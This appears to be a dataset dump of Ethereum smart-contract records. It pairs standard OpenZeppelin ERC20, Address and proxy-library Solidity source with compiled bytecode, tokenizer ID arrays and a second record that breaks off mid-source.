SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106101825760003560e01c8063ad5c4648116100d8578063e5ec9db91161008c578063f2fde38b11610066578063f2fde38b146103b6578063fc57d4df146103e9578063fcfd559a1461041c57610182565b8063e5ec9db91461032b578063e5fa2b701461035e578063f0dc2c061461037b57610182565b8063c54e44eb116100bd578063c54e44eb146102e0578063d297128f146102e8578063e0bab4c41461032357610182565b8063ad5c4648146102d0578063b71501bc146102d857610182565b806389a302711161013a578063a8bbb0da11610114578063a8bbb0da1461022f578063aa4a30181461026a578063ad4e26901461029d57610182565b806389a30271146102175780638da5cb5b1461021f578063a385fb961461022757610182565b80635708447d1161016b5780635708447d146101c0578063715018a6146102055780638323550b1461020f57610182565b806315d8eeba146101875780634dede3de146101b8575b600080fd5b61018f610457565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61018f61046f565b6101f3600480360360208110156101d657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610487565b60408051918252519081900360200190f35b61020d61049a565b005b61018f61059a565b61018f6105ad565b61018f6105c5565b6101f36105e1565b61020d6004803603604081101561024557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166105e7565b61018f6004803603602081101561028057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166106cb565b61018f600480360360208110156102b357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166106f3565b61018f61071b565b61018f610733565b61018f61074b565b6101f3600480360360408110156102fe57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610763565b61018f610a1b565b6101f36004803603602081101561034157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610a33565b61020d6004803603602081101561037457600080fd5b5035610a3e565b6101f36004803603604081101561039157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610ad4565b61020d600480360360208110156103cc57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ae7565b6101f3600480360360208110156103ff57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c71565b61020d6004803603604081101561043257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610ced565b7357ab1ec28d129707052df4df418d58a2d46d5f5181565b732260fac5e5542a773aa44fbcfedf7c193bc2c59981565b600061049282610dd1565b90505b919050565b6104a2611022565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161461052b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6e085d4780b73119b644ae5ecd22b37681565b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60015481565b6105ef611022565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161461067857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff918216600090815260026020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909216179055565b60036020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60026020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b73c00e94cb662c3520282e6f5717214004a7f2688881565b73dac17f958d2ee523a2206206994597c13d831ec781565b60008083905060008173ffffffffffffffffffffffffffffffffffffffff16635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b157600080fd5b505afa1580156107c5573d6000803e3d6000fd5b505050506040513d60208110156107db57600080fd5b5051604080517f1d7b33d700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff888116600483015291519190921691631d7b33d7916024808301926020929190829003018186803b15801561084d57600080fd5b505afa158015610861573d6000803e3d6000fd5b505050506040513d602081101561087757600080fd5b5051604080517f18160ddd00000000000000000000000000000000000000000000000000000000815290519192506000916109c291670de0b6b3a7640000916109bc9173ffffffffffffffffffffffffffffffffffffffff8b16916318160ddd91600480820192602092909190829003018186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d602081101561092257600080fd5b5051604080517f182df0f5000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff89169163182df0f5916004808301926020929190829003018186803b15801561098a57600080fd5b505afa15801561099e573d6000803e3d6000fd5b505050506040513d60208110156109b457600080fd5b505190611026565b90611099565b905060006109e473c00e94cb662c3520282e6f5717214004a7f2688887610ad4565b9050610a0e826109bc6064610a08600154610a08878a61102690919063ffffffff16565b90611026565b9450505050505b92915050565b736b175474e89094c44da98b954eedeac495271d0f81565b6000610492826110db565b610a46611022565b60005473ffffffffffffffffffffffffffffffffffffffff908116911614610acf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600155565b6000610ae083836111b3565b9392505050565b610aef611022565b60005473ffffffffffffffffffffffffffffffffffffffff908116911614610b7857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116610be4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806113266026913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60006104928273ffffffffffffffffffffffffffffffffffffffff1663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b158015610cbc57600080fd5b505afa158015610cd0573d6000803e3d6000fd5b505050506040513d6020811015610ce657600080fd5b5051610487565b610cf5611022565b60005473ffffffffffffffffffffffffffffffffffffffff908116911614610d7e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff918216600090815260036020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909216179055565b73ffffffffffffffffffffffffffffffffffffffff81811660009081526002602052604081205490911615610e885773ffffffffffffffffffffffffffffffffffffffff8083166000908152600260209081526040918290205482517f50d25bcd0000000000000000000000000000000000000000000000000000000081529251610e81946402540be400949216926350d25bcd9260048082019391829003018186803b15801561098a57600080fd5b9050610495565b73ffffffffffffffffffffffffffffffffffffffff82811660009081526003602052604090205416156104955773ffffffffffffffffffffffffffffffffffffffff8083166000908152600360209081526040918290205482517f50d25bcd00000000000000000000000000000000000000000000000000000000815292519316926350d25bcd926004808201939291829003018186803b158015610f2c57600080fd5b505afa158015610f40573d6000803e3d6000fd5b505050506040513d6020811015610f5657600080fd5b505173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600052600260209081527fde032e96a833a2191f55c5766e34554d9b07734477ea9cb69c40158c1078e79354604080517f50d25bcd000000000000000000000000000000000000000000000000000000008152905193945061049293670de0b6b3a7640000936109bc9361101b936402540be4009373ffffffffffffffffffffffffffffffffffffffff909216926350d25bcd92600480840193829003018186803b15801561098a57600080fd5b8490611026565b3390565b60008261103557506000610a15565b8282028284828161104257fe5b0414610ae0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061134c6021913960400191505060405180910390fd5b6000610ae083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611269565b73ffffffffffffffffffffffffffffffffffffffff818116600090815260036020526040812054909116156104955773ffffffffffffffffffffffffffffffffffffffff8083166000908152600360209081526040918290205482517f50d25bcd00000000000000000000000000000000000000000000000000000000815292519316926350d25bcd926004808201939291829003018186803b15801561118157600080fd5b505afa158015611195573d6000803e3d6000fd5b505050506040513d60208110156111ab57600080fd5b505192915050565b6000806111bf84610487565b905060006111cc84610487565b9050806111da575050610a15565b611260816109bc8673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561122757600080fd5b505afa15801561123b573d6000803e3d6000fd5b505050506040513d602081101561125157600080fd5b5051859060ff16600a0a611026565b95945050505050565b6000818361130f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112d45781810151838201526020016112bc565b50505050905090810190601f1680156113015780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161131b57fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220a8445fb0a3b8186dd7d780a7b38204de4f140d755e83c199a9f7f6ec2411c99064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2475, 2050, 21084, 2094, 10790, 2620, 2063, 17788, 2692, 20952, 2683, 2620, 18939, 5243, 2278, 2620, 16576, 2692, 2575, 2581, 27531, 24096, 2546, 2629, 12879, 15136, 2487, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 18373, 18715, 2368, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 8292, 11890, 11387, 1012, 14017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,681
0x972a785b390d05123497169a04c72de652493be1
// File: .deps/npm/@openzeppelin/contracts@4.2.0/utils/StorageSlot.sol pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File: .deps/npm/@openzeppelin/contracts@4.2.0/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: .deps/npm/@openzeppelin/contracts@4.2.0/proxy/beacon/IBeacon.sol pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // File: .deps/npm/@openzeppelin/contracts@4.2.0/proxy/ERC1967/ERC1967Upgrade.sol pragma solidity ^0.8.2; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the 